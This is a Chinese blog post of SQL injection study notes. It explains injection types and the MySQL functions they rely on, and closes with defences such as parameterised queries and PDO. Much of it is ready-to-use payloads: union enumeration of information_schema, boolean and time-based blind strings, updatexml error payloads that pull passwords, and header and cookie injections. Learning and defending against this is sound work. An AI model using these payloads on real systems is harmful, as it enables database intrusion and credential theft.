SQL注入笔记

前言

把sql注入所学到的东西做个总结吧

产生注入的原理和条件

SQL注入的原理

  • 官方点的:
1
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。 --百度百科
  • 自己的理解:

    • SQL注入就是输入的恶意语句拼接到了原有语句中,破坏了原有语句的结构,并且被执行。

SQL注入产生的条件

  • 参数可控:即前端传给后端的参数用户可以控制
  • 参数带入了数据库并执行:可以简要理解为你输入的恶意语句要被执行

SQL注入分类

按变量类型分

  • 字符型注入

    • ' or 1=1#
      当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
  • 数字型注入

    • or 1=1
      当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。

      这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,
      例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。
      而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

  • 搜索型注入:

    • %xxx% or 1=1 #%’
      当在搜索框搜索的时候,称为搜索型。搜索类型一般要使用百分号来闭合。也是字符型的一种
1
2
select * from 表名 where 字段名 like%(对应值)%’; # 源
select * from 表名 where 字段名 like%(对应值)or 1=1 #% %’; # 目标

按照http提交方式

  • GET型注入
  • POST型注入
  • Cookie注入

按照注入方式分

  • 报错注入

  • 盲注

    • 时间盲注

    • bool盲注

  • 联合注入(union)

  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句

  • OOB注入

编码问题

  • 宽字节注入

注入常用函数

基础信息函数

基础信息函数 功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量
sleep() 不用解释

常用处理函数

字符处理函数 功能 举例
重点 concat() 没有分隔符地连接字符串 select concat(c1,c2) from xxx
重点 concat_ws() 指定分隔符地连接字符串 select concat_ws(‘:’,c1,c2) from xxx
重点 group_concat() 以逗号分隔某列/组的数据 select group_concat(c1,c2) from xxx
load_file() 读取服务器文件 select loadfile(‘/tmp/a.txt’)
into outfile 写入文件到服务器 select ‘xxxx’ into outfile ‘/tmp/a.txt’
ascii() 字符串的ASCII代码值 select ascii(‘a’)
ord() 返回字符串第一个字符的ASCII值 select ord(‘abc’)
char() 返回ASCII值对应的字符串 select char(97)
mid() 返回一个字符串的一部分 select mid(‘abcde’,1,1)
substr() 返回一个字符串的一部分 select substr(‘abcde’,1,1)
length() 返回字符串的长度 select length(‘abc’)
left() 返回字符串最左面几个字符 select left(‘mysql’,2)
floor() 返回小于或等于X的最大整数 select floor(5.1)
rand() 返回0-1间的一个随机数 select rand()
if() 三目运算 select if(1>2,’A’,’B’)
strcmp() 比较字符串ASCII大小 select strcmp(‘c’,’b’)
ifnull() 参数1为不null则返回参数1,否则参数2 select ifnull(null,2)

常见语言接受参数的函数或变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ASP
request (全部接受)
request.querystring (接受 get
request.form (接受 post)
request.cookie(接受 cookie)

# PHP:
$_REQUEST(全部接受)
$_GET(接受get)
$_POST (接受 post)
$_COOKIE(接受 cookie)

#一般中间件 waf 防火墙,对get防护最高,其次是post,最后是cookie
#很多人在写注入防御代码时,写了post、get的,但是没有过滤cookie的

一般手工注入流程

注入前准备工作

也就是信息收集,收集网站架构,所使用的语言,数据库类型,以及web中间件

寻找注入点

一般在什么url里如:

1
2
3
4
5
6
7
http://www.xxxxx.com/xxx.asp?id=xx (ASP 注入)
http://www.xxxxx.com/xxx.php?id=xx (php 注入)
http://www.xxxxx.com/xxx.jsp?id=xx (jsp 注入)
http://www.xxxxx.com/xxx.aspx?id=xx (aspx 注入)
http://www.xxxxx.com/index.asp?id=8&page=99 (有多个参数,需要区分用哪个参数来验证注入)
http://www.xxxxx.com/index/new/id/8 伪静态
http://www.xxxxx.com/index/new/php-8.html 伪静态

还有搜索框、cookie、以及表单提交等任何出现数据交互的地方都有可能出现注入点

判断是否存在注入

一般两种方法:

  • 单引号法:直接在数据或url后面添加',如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。

  • 1=11=2

    很多时候检测提交包含引号的链接时,会提示非法字符,或直接不返回任何信息,这种情况下可以如下尝试:

1
2
3
4
5
#先在链接地址后加上 and 1=1,提交
xxx.com/xx.php?id=xx and 1=1
#再替换为and 1=2,提交
xxx.com/xx.php?id=xx and 1=2
#如果返回不同的页面, 那么说明存在 SQL 注入漏洞。

更多方法

  • 两者组合如:
1
2
3
'and 1=1 		/ and 1=2
'and '1'='1 / and '1'='2
'and 1 like 1 / and 1 like 2
  • 更多组合加闭合:

    在插入的注入语句后面,增加--+#,用以注释掉后面的正常语句# 有时会被过滤,因此可以使用url编码,将#表文%23单引号也有可能会被过滤,可以换成双引号

    可以在引号后加一两个括号,用以实现可能的语句闭合,如

1
2
3
4
5
6
7
8
9
or 1=1+
or 1=1#
or 1=1%23
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1+
") or 1=1–+
"))or 1=1+

如果存在注入

  1. 首先看是否有回显
  • 有回显的话判断显示位置列数
    • 通过order by num (num=1,2,3···)当报错时的前一个数就是列数
    • 通过 select 1,2,3···来查询显示位置(sql语句中 select 1,2,3这样的语句会直接将1,2,3 输出)
  • 无回显可以考虑盲注入、报错注入
  1. 再通过各个注入方式来进行下一步注入

    如mysql >= 5.0的联合注入就有

    • 0x01 获取字段数
  • 通过order by num (num=1,2,3···)当报错时的前一个数就是列数

  • 0x02 获取系统数据库

    • select null,null,schema_name from information_schema.schemata

    • 0x03 获取当前数据库

    • select null,null,database()

  • 0x04 获取数据库表

    • select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
    • select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
  • 0x05 获取字段名

    • select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
  • 0x06 获取数据

    • select group_concat(字段名,字段名) from (tableName)

各个注入方式的原理

union注入

所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,第二个语句中就包含我们想要查询的语句

注意:union查询的子语句的字段数要与它前面主语句的字段数要要一致

  • 如一个sql语句为
1
select id,username,password from test where id =1;

当使用union查询时:

1
select id,username,password from test where id =1 union select 1,2,3;

所以一般的union注入拼接为

1
2
# payload
a' union select database(),user(),version() #%

union 操作符一般与 order by 语句配合使用来确定可以查询的字段个数

因为查询的字段不能超过主查询的字段,可以先在 SQL 语句后面加 order by 进行排序,通过报错内容确定到底有几个字段可供使用

1
2
3
4
5
6
#采用二分法找到最大的可排序列,即是可查询的字段个数
a' order by 4 #%
# 假定最后4不报错,5报错,则可确定有4个字段,payload可以这样
a' union select database(),user(),version(),4 #%
# 如果第二个字段才能显示在屏幕上,那么payload需这样凑成四个字段
a' union select 1,username,3,4 from user #%

时间盲注/BOOL盲注

当我们的注入语句被带入数据库查询,页面确不能回显我们的结果,如应用程序就会返回一个“通用的”的页面或特定的语句,我们不能以此来判断注入是否成功,这种情况下就要用到sql盲注的技巧了。

布尔盲注原理

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否

布尔盲注方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left()函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx

#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
k' and ascii(substr((select database()),1,1))=114
k' and ascii(substr((select database()),1,1))>114
k' and ascii(substr((select database()),1,1))<20

ord(substr((select database()),1,1))=114

时间盲注原理

语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行

1
2
3
4
5
6
7
#确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点
k' and sleep(x) #
#然后通过之前的函数,猜测库、表、字段
k' and if(ascii(substr(database(),1,1))>115,0,sleep(5));
k' and ascii(substr(database(),1,1))>115 and sleep(5); #这样是因为sql的and or的判断顺寻是从左到右的
#也可以先通过sleep计算出库、表、字段长度
k' and sleep(length(database()))

当过滤sleep时还有其他延时方法如:

get_lock()
get_lock(key,time),该函数的意思是给一个key上锁,如果上锁失败就等待time秒,然后回滚事务。

利用方式:先使用get_lock(key,time)key上锁,然后再开一个进程使用get(key,time),这时候就会因为原来的key已经被上锁了而会等待time

benchmark()
benchmark(count,expr),该函数会重复计算expr表达式count次从而消耗大量时间。

if((布尔盲注语句),BENCHMARK(10000000,md5(‘a’)),1)

笛卡尔积
这里的笛卡尔积和离散数学里的笛卡尔积的意思是一样的,因为mysql支持多表查询,笛卡尔积可以将多个表合并成一个表,但是如果多个表中的数据较多就会导致运算过程中耗费大量的时间。

if((布尔盲注语句),(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),1)

RLIKE
语法规则:

  • A RLIKE B,表示B是否再A里面。
  • B中的表达式可以使用标准的正则语法。

利用方式:

if((布尔盲注语句),concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b’,1)

报错注入

当数据库的函数被传入错误参数时,会发生语法错误,正常情况下这类错误不应该回显到前端页面,但当中间件或程序未正常屏蔽时导致错误信息输出到屏幕上,就能用来进行报错注入了。
select/insert/update/delete都可以被用来报错注入
报错注入条件:

  1. 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
  2. 运维人员设置中间件的时候,错误输出没有屏蔽
  3. 程序员写网站代码的时候,没有屏蔽错误信息输出

优缺点:

  1. 优点是注入速度快
  2. 缺点是语句较为复杂,而且只能用limit依次进行猜解

总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用mysql输出了错误信息时使用。

常用函数

floor():MYSQL 中用来取整的函数

1
2
3
4
5
6
select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor 取float的整数值
#rang 取0-1之间随机浮点值
#group by 对结果集进行排序
select verson()就是我们用来做sql注入的语句

extractvalue():MYSQL 对 XML 文档数据进行查询的 XPATH 函数

1
2
3
select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串

updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
最常用的报错注入函数

1
2
3
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#原理和extravtvalue一样,构造错误的xpath语句报错

updatexml报错实战

selectdelete语句注入

1
2
3
4
5
6
7
8
9
10
11
12
13
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

insertupdate、注入
增、改同样可以用来进行报错注入,只是需要前后分别用or语句连接,使语句完整,一般需要抓包用bp改参数

1
2
3
4
5
6
# 原语句
insert into xxx id values ('k');
# 报错注入语句
k' or updatexml(1,concat(0x7e,(命令)),0) or'
# 组合后语句
insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or'');

headcookie注入
如果代码调用了head或cookie中的信息拿到数据库进行拼接,也可以用报错注入尝试
同样是先用单引号找到注入点,在进行注入

1
2
3
4
# http head头注入,假如是对浏览器类型的检测
Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or '
# cookie注入,假如原cookie为 ant[uname]=admin
ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) #

其他常用exp

  • floor()和rand()
1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/
  • 2 extractvalue()
1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
  • 3 updatexml()
1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
  • 4 geometrycollection()
1
id=1 and geometrycollection((select * from(select * from(select user())a)b))
  • 5 multipoint()
1
id=1 and multipoint((select * from(select * from(select user())a)b))
  • 6 polygon()
1
id=1 and polygon((select * from(select * from(select user())a)b))
  • 7 multipolygon()
1
id=1 and multipolygon((select * from(select * from(select user())a)b))
  • 8 linestring()
1
id=1 and linestring((select * from(select * from(select user())a)b))
  • 9 multilinestring()
1
id=1 and multilinestring((select * from(select * from(select user())a)b))
  • 10 exp()
1
id=1 and exp(~(select * from(select user())a))

其他注入方式

都是面对php代码或配置,对输入的单引号进行转义时,在处理用户输入数据时存在问题,可以绕过转义

宽字节注入

GBK处理编码的过程存在问题,可以构造数据消灭转义符\

宽字节注入原理

在对单双引号进行了转义过滤的情况下,前面的注入方式都不好使,但可以在引号前加上%df再进行sql注入尝试
它的原理是

  1. \'编码后的值为%5C%27
  2. 使用GBK编码数据库时,两个字符为一个汉字
  3. ASCII码只有128个,大于128的,就会和第二个字符组成一个汉字
  4. 使用%df\',编码后为%df%5C%27
    第一个码大于128,因此会使用前两个字符,最后单剩一个引号
    即编码后的值为運'
  5. 然后就可以正常进行sql注入了
宽字节注入方法

黑盒测试的话:在可能的注入点后,键入%df'后,进行测试
白合测试的话:

  1. 查看mysql编码是否为GBK
  2. 是否使用preg_replace转换单引号为\'
  3. 是否使用addslashes进行转义
  4. 是否使用mysql_real_escape_string进行转义
宽字节注入防范
  1. 使用utf-8,可以避免宽字节注入
    不仅在gbk中,韩文、日文等都是宽字节
  2. 使用mysql_real_escape_string方法转义
    需同时设置mysql_set_charset('gbk',$conn)
  3. 可以设置mysql连接参数:character_set_clinet=binary

二次编码注入

php代码中用了urldecode()等编码函数,对url中的特殊字符进行编码,可以利用此函数与php自身编码转换,产生漏洞

二次编码注入原理
  1. 用户输入id=1%27,会被php转码为id=1'
  2. 转义代码发现有单引号,转义为id=1\',无法sql注入
  3. 用户输入id=1%2527,由于%25转码后就是%,因而会转码为id=1%27
  4. 转义代码没有发现单引号,故不转义
  5. 但后续urldecode等函数,处理url时,会将id=1%27转码为id=1',就可以注入
    注意:如果做白盒测试,要看urldecode函数 是否在转义方法之后

二次注入

#####二次注入原理

  1. 插入恶意数据
    有些程序在进行数据库插入的时候,仅仅对特殊字符进行了转义,但仍然将数据写入了数据库,如果插入的数据包含恶意内容的话
  2. 引用恶意数据
    在插入到数据库中后,在另外的地方查询该数据的时候,如果没有对取出的数据做校验处理(即认为可信),直接使用该数据,就会造成sql二次注入
二次注入举例

举例1如下:

  1. 新建用户admin'#,有特殊字符,但写入成功,并能使用该用户登录
  2. 正常修改用户密码时
    sql语句如是:update user set password='1234' where username='x' and psssword='xx'
  3. 但当用户为admin'#
    sql语句变为:update user set password='1234' where username='admin'#' and xxxxx
    明显井号后的语句都被注释掉了
  4. 结果就是会修改掉原有用户admin的密码

举例2如下:

  1. 有两个页面,一个页面写入数据,另一个页面可以有办法查看该数据
  2. 如果写入时,写入了xx' union select 1,database(),3
  3. 如果存在sql注入漏洞,写入的数据应该为1,库名,3
  4. 在另一个页面就可以看到该库名数据

二次注入防御

  1. 对外部提交的数,需要更加谨慎处理,特殊字符不写入
  2. 程序内部的数据调用,也要进行严格检查,不要认为可信

注入防范方法

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

代码层面:

  1. 对输入进行严格的转义和过滤
  2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
  3. PDO预处理 (Java、PHP防范推荐方法:)
    没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。
    PDO数据库抽象层学习:http://www.php.cn/course/868.html

网络层面:

  1. 通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
  2. 云端防护(360网站卫士,阿里云盾等)

SQL注入笔记
https://coutcin-xw.github.io/2022/04/23/SQL注入笔记/
作者
CoutCin
发布于
2022年4月23日
许可协议